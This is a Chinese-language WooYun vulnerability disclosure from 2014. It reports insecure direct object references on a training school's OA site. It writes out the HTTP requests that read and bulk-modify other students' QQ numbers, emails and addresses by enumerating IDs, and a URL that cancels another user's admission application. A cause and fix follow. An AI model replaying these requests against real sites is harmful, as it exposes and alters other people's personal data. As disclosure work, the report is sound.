黑马程序员网站多处越权 | wooyun-2014-064951| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064951

漏洞标题：黑马程序员网站多处越权

漏洞作者： cat73

提交时间：2014-06-16 17:40

修复时间：2014-07-31 17:42

公开时间：2014-07-31 17:42

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-16：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-07-31：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

我发现这个漏洞实在是太简单了- -
随便说说都能透露细节- -
就在这卖个萌吧喵~~

详细说明：

首先说下漏洞危害,这个漏洞可以造成:
任意结束他人的入学申请(每人只有三次机会)/任意修改他人的信息/他人的个人资料泄露可供采集/或许还有更多,我没仔细找.
下面说下漏洞利用方式:
查看他人信息,在返回包中可以找到他人QQ/邮箱/所在地等信息:

GET /customer/operate.do?method=editCustomerUI&customreId=$你要查看的用户ID(可遍历)$ HTTP/1.1
Host: oa.itheima.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: http://oa.itheima.com/
Accept-Encoding: deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=$任意一个已经登陆过的都可以$

修改他人信息,可以批量修改他人的QQ号邮箱所在地等:

POST /customer/operate.do HTTP/1.1
Host: oa.itheima.com
Proxy-Connection: keep-alive
Content-Length: 227
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://oa.itheima.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://oa.itheima.com/customer/operate.do?method=editCustomerUI&customreId=2582
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=$任何已登陆的Cookies均可$
method=editCustomer&customerId=$他人用户ID(可批量修改)$&qq=$QQ号$&email=$邮箱$&gender=$性别$&customerEdu=JOB_WAITING&courseId=1&address=$所在地$&submit=%E6%8F%90%E3%80%80%E4%BA%A4

删除他人入学申请:采用GET访问http://oa.itheima.com/customer/process/apply.do?method=endApply&applyId=$用户ID$即可(要求带登陆过的cookies)
下面说下漏洞的成因分析:
我个人认为是后端没有根据Cookies判断请求人而是简单的直接用用户提交的uid造成的问题,整站一切直接使用uid的地方都有此漏洞.
最后说下:用户ID/uid这类的都是我随便起的名字啦,感觉这段数字的意义差不多是这个,就随便拿来用啦.

漏洞证明：

下图为其他学员的QQ号被泄露:

修复方案：

仔细检查每个与用户交互的业务,不再从用户手里获取用户id,而是根据cookies判断
===============分割线===============
此外,我即将年满18周岁,非常想获得去贵校学习的机会,但是年龄不够,不知能否给个机会呢?
我的邮箱是1901803382@qq.com,非常渴望能够收到贵公司回复!

版权声明：转载请注明来源 cat73@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞